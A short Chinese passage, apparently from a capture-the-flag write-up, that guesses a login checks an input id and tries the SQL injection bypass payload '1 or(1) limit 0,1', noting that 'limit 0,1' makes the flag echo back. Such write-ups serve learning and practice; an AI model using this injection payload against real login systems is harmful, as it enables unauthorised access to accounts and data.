那么应该就是输入id判断登录,即可,尝试万能密码登录:1 or(1) limit 0,1
limit 0,1是为了回显出flag